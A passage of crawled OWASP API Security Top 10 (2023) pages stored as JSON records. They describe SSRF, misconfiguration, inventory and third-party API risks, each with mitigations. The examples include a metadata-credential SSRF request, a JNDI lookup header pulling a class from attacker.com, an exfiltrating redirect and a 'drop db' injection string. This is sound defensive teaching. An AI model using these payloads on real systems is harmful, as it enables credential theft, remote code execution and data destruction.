Endpoint is vulnerable if it exposes a sensitive business flow, without\nappropriately restricting the access to it.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nA technology company announces they are going to release a new gaming console on\nThanksgiving. The product has a very high demand and the stock is limited. An\nattacker writes code to automatically buy the new product and complete the\ntransaction.\n\nOn the release day, the attacker runs the code distributed across different IP\naddresses and locations. The API doesn't implement the appropriate protection\nand allows the attacker to buy the majority of the stock before other legitimate\nusers.\n\nLater on, the attacker sells the product on another platform for a much higher\nprice.\n\n### Scenario #2\n\nAn airline company offers online ticket purchasing with no cancellation fee. A\nuser with malicious intentions books 90% of the seats of a desired flight.\n\nA few days before the flight the malicious user canceled all the tickets at\nonce, which forced the airline to discount the ticket prices in order to fill\nthe flight.\n\nAt this point, the user buys herself a single ticket that is much cheaper than\nthe original one.\n\n### Scenario #3\n\nA ride-sharing app provides a referral program - users can invite their friends\nand gain credit for each friend who has joined the app. This credit can be later\nused as cash to book rides.\n\nAn attacker exploits this flow by writing a script to automate the registration\nprocess, with each new user adding credit to the attacker's wallet.\n\nThe attacker can later enjoy free rides or sell the accounts with excessive\ncredits for cash.\n\n## How To Prevent\n\nThe mitigation planning should be done in two layers:\n\n- Business - identify the business flows that might harm the business if they\n are excessively used.\n- Engineering - choose the right protection mechanisms to mitigate the business\n risk. Some of the protection mechanisms are more simple while others are more\ndifficult to implement. The following methods are used to slow down\nautomated\nthreats: Secure and limit access to APIs that are consumed directly by machines (such\nas developer and B2B APIs). They tend to be an easy target for attackers\nbecause they often don't implement all the required protection mechanisms.\n - Device fingerprinting: denying service to unexpected client devices (e.g\n headless browsers) tends to make threat actors use more sophisticated\n solutions, thus more costly for them\n - Human detection: using either captcha or more advanced biometric solutions\n (e.g. typing patterns)\n - Non-human patterns: analyze the user flow to detect non-human patterns\n (e.g. the user accessed the \"add to cart\" and \"complete purchase\"\n functions in less than one second)\n - Consider blocking IP addresses of Tor exit nodes and well-known proxies\n\n## References\n\n### OWASP\n\n- [OWASP Automated Threats to Web Applications](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [API10:2019 Insufficient Logging & Monitoring](https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/)", "znaku_textu": 4914, "slov": 764, "odkazu": 66, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:48", "sha256": "4124ba8d69d8273da787f91fdd7a586554242005938664c9ffcff3efbbe9dc11", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/", "titulek": "API7:2023 Server Side Request Forgery - OWASP API Security Top 10", "h1": "API7:2023 Server Side Request Forgery", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2023 Server Side Request Forgery"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API7:2023 Server Side Request Forgery\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **Easy** | Prevalence **Common** : Detectability **Easy** | Technical **Moderate** : Business Specific |\n| Exploitation requires the attacker to find an API endpoint that accesses a URI that’s provided by the client. In general, basic SSRF (when the response is returned to the attacker), is easier to exploit than Blind SSRF in which the attacker has no feedback on whether or not the attack was successful. | Modern concepts in application development encourage developers to access URIs provided by the client. Lack of or improper validation of such URIs are common issues. Regular API requests and response analysis will be required to detect the issue. When the response is not returned (Blind SSRF) detecting the vulnerability requires more effort and creativity. | Successful exploitation might lead to internal services enumeration (e.g. port scanning), information disclosure, bypassing firewalls, or other security mechanisms. In some cases, it can lead to DoS or the server being used as a proxy to hide malicious activities. |\n\n## Is the API Vulnerable?\n\nServer-Side Request Forgery (SSRF) flaws occur when an API is fetching a remote\nresource without validating the user-supplied URL. It enables an attacker to\ncoerce the application to send a crafted request to an unexpected destination,\neven when protected by a firewall or a VPN.\n\nModern concepts in application development make SSRF more common and more\ndangerous.\n\nMore common - the following concepts encourage developers to access an external\nresource based on user input: Webhooks, file fetching from URLs, custom SSO,\nand URL previews.\n\nMore dangerous - Modern technologies like cloud providers, Kubernetes, and\nDocker expose management and control channels over HTTP on predictable,\nwell-known paths. Those channels are an easy target for an SSRF attack.\n\nIt is also more challenging to limit outbound traffic from your application,\nbecause of the connected nature of modern applications.\n\nThe SSRF risk can not always be completely eliminated. While choosing a\nprotection mechanism, it is important to consider the business risks and needs.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nA social network allows users to upload profile pictures. The user can choose\neither to upload the image file from their machine, or provide the URL of the\nimage. Choosing the second, will trigger the following API call:\n\n```\nPOST /api/profile/upload_picture\n\n{\n \"picture_url\": \"http://example.com/profile_pic.jpg\"\n}\n```\n\nAn attacker can send a malicious URL and initiate port scanning within the\ninternal network using the API Endpoint.\n\n```\n{\n \"picture_url\": \"localhost:8080\"\n}\n```\n\nBased on the response time, the attacker can figure out whether the port is\nopen or not.\n\n### Scenario #2\n\nA security product generates events when it detects anomalies in the network.\nSome teams prefer to review the events in a broader, more generic monitoring\nsystem, such as a SIEM (Security Information and Event Management). For this\npurpose, the product provides integration with other systems using webhooks.\n\nAs part of a creation of a new webhook, a GraphQL mutation is sent with the URL\nof the SIEM API.\n\n```\nPOST /graphql\n\n[\n {\n \"variables\": {},\n \"query\": \"mutation {\n createNotificationChannel(input: {\n channelName: \\\"ch_piney\\\",\n notificationChannelConfig: {\n customWebhookChannelConfigs: [\n {\n url: \\\"http://www.siem-system.com/create_new_event\\\",\n send_test_req: true\n }\n ]\n }\n }){\n channelId\n }\n }\"\n }\n]\n```\n\nDuring the creation process, the API back-end sends a test request to the\nprovided webhook URL, and presents to the user the response.\n\nAn attacker can leverage this flow, and make the API request a sensitive\nresource, such as an internal cloud metadata service that exposes credentials:\n\n```\nPOST /graphql\n\n[\n {\n \"variables\": {},\n \"query\": \"mutation {\n createNotificationChannel(input: {\n channelName: \\\"ch_piney\\\",\n notificationChannelConfig: {\n customWebhookChannelConfigs: [\n {\n url: \\\"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\\\",\n send_test_req: true\n }\n ]\n }\n }) {\n channelId\n }\n }\n }\n]\n```\n\nSince the application shows the response from the test request, the attacker\ncan view the credentials of the cloud environment.\n\n## How To Prevent\n\n- Isolate the resource fetching mechanism in your network: usually these\n features are aimed to retrieve remote resources and not internal ones.\n- Whenever possible, use allow lists of:\n - Remote origins users are expected to download resources from (e.g. Google\n Drive, Gravatar, etc.)\n - URL schemes and ports\n - Accepted media types for a given functionality\n- Disable HTTP redirections.\n- Use a well-tested and maintained URL parser to avoid issues caused by URL\n parsing inconsistencies.\n- Validate and sanitize all client-supplied input data.\n- Do not send raw responses to clients.\n\n## References\n\n### OWASP\n\n- [Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n- [Server-Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n### External\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies,\n Snyk](https://snyk.io/blog/url-confusion-vulnerabilities/)", "znaku_textu": 5397, "slov": 754, "odkazu": 68, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:49", "sha256": "282d4c09505299d9bb0f76d8464b6ea463316462cd92ed9877e839a5442337d6", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/918.html", "https://snyk.io/blog/url-confusion-vulnerabilities/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/", "titulek": "API8:2023 Security Misconfiguration - OWASP API Security Top 10", "h1": "API8:2023 Security Misconfiguration", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2023 Security Misconfiguration"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API8:2023 Security Misconfiguration\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **Easy** | Prevalence **Widespread** : Detectability **Easy** | Technical **Severe** : Business Specific |\n| Attackers will often attempt to find unpatched flaws, common endpoints, services running with insecure default configurations, or unprotected files and directories to gain unauthorized access or knowledge of the system. Most of this is public knowledge and exploits may be available. | Security misconfiguration can happen at any level of the API stack, from the network level to the application level. Automated tools are available to detect and exploit misconfigurations such as unnecessary services or legacy options. | Security misconfigurations not only expose sensitive user data, but also system details that can lead to full server compromise. |\n\n## Is the API Vulnerable?\n\nThe API might be vulnerable if:\n\n- Appropriate security hardening is missing across any part of the API stack,\n or if there are improperly configured permissions on cloud services\n- The latest security patches are missing, or the systems are out of date\n- Unnecessary features are enabled (e.g. HTTP verbs, logging features)\n- There are discrepancies in the way incoming requests are processed by servers\n in the HTTP server chain\n- Transport Layer Security (TLS) is missing\n- Security or cache control directives are not sent to clients\n- A Cross-Origin Resource Sharing (CORS) policy is missing or improperly set\n- Error messages include stack traces, or expose other sensitive information\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nAn API back-end server maintains an access log written by a popular third-party\nopen-source logging utility with support for placeholder expansion and JNDI\n(Java Naming and Directory Interface) lookups, both enabled by default. For\neach request, a new entry is written to the log file with the following\npattern: ` / - `.\n\nA bad actor issues the following API request, which gets written to the access\nlog file:\n\n```\nGET /health\nX-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}\n```\n\nDue to the insecure default configuration of the logging utility and a\npermissive network outbound policy, in order to write the corresponding entry\nto the access log, while expanding the value in the `X-Api-Version` request\nheader, the logging utility will pull and execute the `Malicious.class` object\nfrom the attacker's remote controlled server.\n\n### Scenario #2\n\nA social network website offers a \"Direct Message\" feature that allows users to\nkeep private conversations. To retrieve new messages for a specific\nconversation, the website issues the following API request (user interaction is\nnot required):\n\n```\nGET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA\n```\n\nBecause the API response does not include the `Cache-Control` HTTP response\nheader, private conversations end-up cached by the web browser, allowing\nmalicious actors to retrieve them from the browser cache files in the\nfilesystem.\n\n## How To Prevent\n\nThe API life cycle should include:\n\n- A repeatable hardening process leading to fast and easy deployment of a\n properly locked down environment\n- A task to review and update configurations across the entire API stack. The\n review should include: orchestration files, API components, and cloud\n services (e.g. S3 bucket permissions)\n- An automated process to continuously assess the effectiveness of the\n configuration and settings in all environments\n\nFurthermore:\n\n- Ensure that all API communications from the client to the API server and any\n downstream/upstream components happen over an encrypted communication channel\n (TLS), regardless of whether it is an internal or public-facing API.\n- Be specific about which HTTP verbs each API can be accessed by: all other\n HTTP verbs should be disabled (e.g. HEAD).\n- APIs expecting to be accessed from browser-based clients (e.g., WebApp\n front-end) should, at least:\n - implement a proper Cross-Origin Resource Sharing (CORS) policy\n - include applicable Security Headers\n- Restrict incoming content types/data formats to those that meet the business/\n functional requirements.\n- Ensure all servers in the HTTP server chain (e.g. load balancers, reverse\n and forward proxies, and back-end servers) process incoming requests in a\n uniform manner to avoid desync issues.\n- Where applicable, define and enforce all API response payload schemas,\n including error responses, to prevent exception traces and other valuable\n information from being sent back to attackers.\n\n## References\n\n### OWASP\n\n- [OWASP Secure Headers Project](https://owasp.org/www-project-secure-headers/)\n- [Configuration and Deployment Management Testing - Web Security Testing\n Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [Testing for Error Handling - Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README)\n- [Testing for Cross Site Request Forgery - Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery)\n\n### External\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-209: Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response\n Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-942: Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let's Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 6247, "slov": 788, "odkazu": 77, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:51", "sha256": "5017f8ca69871869697c75389c8cc017836d90ce1f067b24e21aa9a672ddf2fe", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/388.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/942.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xa9-improper-inventory-management/", "titulek": "API9:2023 Improper Inventory Management - OWASP API Security Top 10", "h1": "API9:2023 Improper Inventory Management", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xa9-improper-inventory-management/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2023 Improper Inventory Management"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "External"}], "markdown": "# API9:2023 Improper Inventory Management\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **Easy** | Prevalence **Widespread** : Detectability **Average** | Technical **Moderate** : Business Specific |\n| Threat agents usually get unauthorized access through old API versions or endpoints left running unpatched and using weaker security requirements. In some cases exploits are available. Alternatively, they may get access to sensitive data through a 3rd party with whom there's no reason to share data with. | Outdated documentation makes it more difficult to find and/or fix vulnerabilities. Lack of assets inventory and retirement strategies leads to running unpatched systems, resulting in leakage of sensitive data. It's common to find unnecessarily exposed API hosts because of modern concepts like microservices, which make applications easy to deploy and independent (e.g. cloud computing, K8S). Simple Google Dorking, DNS enumeration, or using specialized search engines for various types of servers (webcams, routers, servers, etc.) connected to the internet will be enough to discover targets. | Attackers can gain access to sensitive data, or even take over the server. Sometimes different API versions/deployments are connected to the same database with real data. Threat agents may exploit deprecated endpoints available in old API versions to get access to administrative functions or exploit known vulnerabilities. |\n\n## Is the API Vulnerable?\n\nThe sprawled and connected nature of APIs and modern applications brings new\nchallenges. It is important for organizations not only to have a good\nunderstanding and visibility of their own APIs and API endpoints, but also how\nthe APIs are storing or sharing data with external third parties.\n\nRunning multiple versions of an API requires additional management resources\nfrom the API provider and expands the attack surface.\n\nAn API has a \"documentation blindspot\" if:\n\n- The purpose of an API host is unclear, and there are no explicit answers to\n the following questions\n - Which environment is the API running in (e.g. production, staging, test,\n development)?\n - Who should have network access to the API (e.g. public, internal,\n partners)?\n - Which API version is running?\n- There is no documentation or the existing documentation is not updated.\n- There is no retirement plan for each API version.\n- The host's inventory is missing or outdated.\n\nThe visibility and inventory of sensitive data flows play an important role as\npart of an incident response plan, in case a breach happens on the third party\nside.\n\nAn API has a \"data flow blindspot\" if:\n\n- There is a \"sensitive data flow\" where the API shares sensitive data with a\n third party and\n - There is not a business justification or approval of the flow\n - There is no inventory or visibility of the flow\n - There is not deep visibility of which type of sensitive data is shared\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nA social network implemented a rate-limiting mechanism that blocks attackers\nfrom using brute force to guess reset password tokens. This mechanism wasn't\nimplemented as part of the API code itself but in a separate component between\nthe client and the official API (`api.socialnetwork.owasp.org`). A researcher\nfound a beta API host (`beta.api.socialnetwork.owasp.org`) that runs the same\nAPI, including the reset password mechanism, but the rate-limiting mechanism was\nnot in place. The researcher was able to reset the password of any user by using\nsimple brute force to guess the 6 digit token.\n\n### Scenario #2\n\nA social network allows developers of independent apps to integrate with it. As\npart of this process a consent is requested from the end user, so the social\nnetwork can share the user's personal information with the independent app.\n\nThe data flow between the social network and the independent apps is not\nrestrictive or monitored enough, allowing independent apps to access not only\nthe user information but also the private information of all of their friends.\n\nA consulting firm builds a malicious app and manages to get the consent of\n270,000 users. Because of the flaw, the consulting firm manages to get access\nto the private information of 50,000,000 users. Later, the consulting firm\nsells the information for malicious purposes.\n\n## How To Prevent\n\n- Inventory all API hosts and document important aspects of each one\n of them, focusing on the API environment (e.g. production, staging, test,\n development), who should have network access to the host (e.g. public,\n internal, partners) and the API version.\n- Inventory integrated services and document important aspects such\n as their role in the system, what data is exchanged (data flow), and their\n sensitivity.\n- Document all aspects of your API such as authentication, errors, redirects,\n rate limiting, cross-origin resource sharing (CORS) policy, and endpoints,\n including their parameters, requests, and responses.\n- Generate documentation automatically by adopting open standards. Include the\n documentation build in your CI/CD pipeline.\n- Make API documentation available only to those authorized to use the API.\n- Use external protection measures such as API security specific solutions for\n all exposed versions of your APIs, not just for the current production\n version.\n- Avoid using production data with non-production API deployments. If this is\n unavoidable, these endpoints should get the same security treatment as the\n production ones.\n- When newer versions of APIs include security improvements, perform a risk\n analysis to inform the mitigation actions required for the older versions.\n For example, whether it is possible to backport the improvements without\n breaking API compatibility or if you need to take the older version out\n quickly and force all clients to move to the latest version.\n\n## References\n\n### External\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)", "znaku_textu": 5909, "slov": 897, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:51", "sha256": "5e5f4290da2e59b13fb550d30c1d204efde709b1ade615da0dc444b022a25127", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xaa-unsafe-consumption-of-apis/", "titulek": "API10:2023 Unsafe Consumption of APIs - OWASP API Security Top 10", "h1": "API10:2023 Unsafe Consumption of APIs", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xaa-unsafe-consumption-of-apis/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2023 Unsafe Consumption of APIs"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 3, "text": "Scenario #3"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API10:2023 Unsafe Consumption of APIs\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **Easy** | Prevalence **Common** : Detectability **Average** | Technical **Severe** : Business Specific |\n| Exploiting this issue requires attackers to identify and potentially compromise other APIs/services the target API integrated with. Usually, this information is not publicly available or the integrated API/service is not easily exploitable. | Developers tend to trust and not verify the endpoints that interact with external or third-party APIs, relying on weaker security requirements such as those regarding transport security, authentication/authorization, and input validation and sanitization. Attackers need to identify services the target API integrates with (data sources) and, eventually, compromise them. | The impact varies according to what the target API does with pulled data. Successful exploitation may lead to sensitive information exposure to unauthorized actors, many kinds of injections, or denial of service. |\n\n## Is the API Vulnerable?\n\nDevelopers tend to trust data received from third-party APIs more than user\ninput. This is especially true for APIs offered by well-known companies.\nBecause of that, developers tend to adopt weaker security standards, for\ninstance, in regards to input validation and sanitization.\n\nThe API might be vulnerable if:\n\n- Interacts with other APIs over an unencrypted channel;\n- Does not properly validate and sanitize data gathered from other APIs prior\n to processing it or passing it to downstream components;\n- Blindly follows redirections;\n- Does not limit the number of resources available to process third-party\n services responses;\n- Does not implement timeouts for interactions with third-party services;\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nAn API relies on a third-party service to enrich user provided business\naddresses. When an address is supplied to the API by the end user, it is sent\nto the third-party service and the returned data is then stored on a local\nSQL-enabled database.\n\nBad actors use the third-party service to store an SQLi payload associated with\na business created by them. Then they go after the vulnerable API providing\nspecific input that makes it pull their \"malicious business\" from the\nthird-party service. The SQLi payload ends up being executed by the database,\nexfiltrating data to an attacker's controlled server.\n\n### Scenario #2\n\nAn API integrates with a third-party service provider to safely store sensitive\nuser medical information. Data is sent over a secure connection using an HTTP\nrequest like the one below:\n\n```\nPOST /user/store_phr_record\n{\n \"genome\": \"ACTAGTAG__TTGADDAAIICCTT…\"\n}\n```\n\nBad actors found a way to compromise the third-party API and it starts\nresponding with a `308 Permanent Redirect` to requests like the previous one.\n\n```\nHTTP/1.1 308 Permanent Redirect\nLocation: https://attacker.com/\n```\n\nSince the API blindly follows the third-party redirects, it will repeat the\nexact same request including the user's sensitive data, but this time to the\nattacker's server.\n\n### Scenario #3\n\nAn attacker can prepare a git repository named `'; drop db;--`.\n\nNow, when an integration from an attacked application is done with the\nmalicious repository, SQL injection payload is used on an application that\nbuilds an SQL query believing the repository's name is safe input.\n\n## How To Prevent\n\n- When evaluating service providers, assess their API security posture.\n- Ensure all API interactions happen over a secure communication channel (TLS).\n- Always validate and properly sanitize data received from integrated APIs\n before using it.\n- Maintain an allowlist of well-known locations integrated APIs may redirect\n yours to: do not blindly follow redirects.\n\n## References\n\n### OWASP\n\n- [Web Service Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html)\n- [Injection Flaws](https://www.owasp.org/index.php/Injection_Flaws)\n- [Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n- [Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### External\n\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)", "znaku_textu": 4786, "slov": 612, "odkazu": 74, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:52", "sha256": "5e5c44974705c4a6151a5108e7e5384d5961102878b104d9a8ce7e5cb31abbb1", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html", "https://www.owasp.org/index.php/Injection_Flaws", "https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/319.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xb0-next-devs/", "titulek": "What's Next For Developers - OWASP API Security Top 10", "h1": "What's Next For Developers", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xb0-next-devs/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "What's Next For Developers"}], "markdown": "# What's Next For Developers\n\nThe task to create and maintain secure applications, or fixing existing\napplications, can be difficult. It is no different for APIs.\n\nWe believe that education and awareness are key factors to writing secure\nsoftware. Everything else required to accomplish the goal depends on\n**establishing and using repeatable security processes and standard security\ncontrols**.\n\nOWASP provides numerous free and open resources to help you address security.\nPlease visit the [OWASP Projects page](https://owasp.org/projects/) for a comprehensive list of available\nprojects.\n\n| | |\n| --- | --- |\n| **Education** | The [Application Security Wayfinder](https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder) should give you a good idea about what projects are available for each stage/phase of the Software Development LifeCycle (SDLC). For hands-on learning/training you can start with [OWASP **crAPI** - **C**ompletely **R**idiculous **API**](https://owasp.org/www-project-crapi/) or [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/): both have intentionally vulnerable APIs. The [OWASP Vulnerable Web Applications Directory Project](https://owasp.org/www-project-vulnerable-web-applications-directory/) provides a curated list of intentionally vulnerable applications: you'll find there several other vulnerable APIs. You can also attend [OWASP AppSec Conference](https://owasp.org/events/) training sessions, or [join your local chapter](https://owasp.org/chapters/). |\n| **Security Requirements** | Security should be part of every project from the beginning. When defining requirements, it is important to define what \"secure\" means for that project. OWASP recommends you use the [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) as a guide for setting the security requirements. If you're outsourcing, consider the [OWASP Secure Software Contract Annex](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex), which should be adapted according to local law and regulations. |\n| **Security Architecture** | Security should remain a concern during all the project stages. The [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) is a good starting point for guidance on how to design security in during the architecture phase. Among many others, you'll find the [REST Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html) and the [REST Assessment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html) as well the [GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html). |\n| **Standard Security Controls** | Adopting standard security controls reduces the risk of introducing security weaknesses while writing your own logic. Although many modern frameworks now come with effective built-in standard controls, [OWASP Proactive Controls](https://owasp.org/www-project-proactive-controls/) gives you a good overview of what security controls you should look to include in your project. OWASP also provides some libraries and tools you may find valuable, such as validation controls. |\n| **Secure Software Development Life Cycle** | You can use the [OWASP Software Assurance Maturity Model (SAMM)](https://owasp.org/www-project-samm/) to improve your processes of building APIs. Several other OWASP projects are available to help you during the different API development phases e.g., the [OWASP Code Review Guide](https://owasp.org/www-project-code-review-guide/). |", "znaku_textu": 3573, "slov": 432, "odkazu": 72, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:53", "sha256": 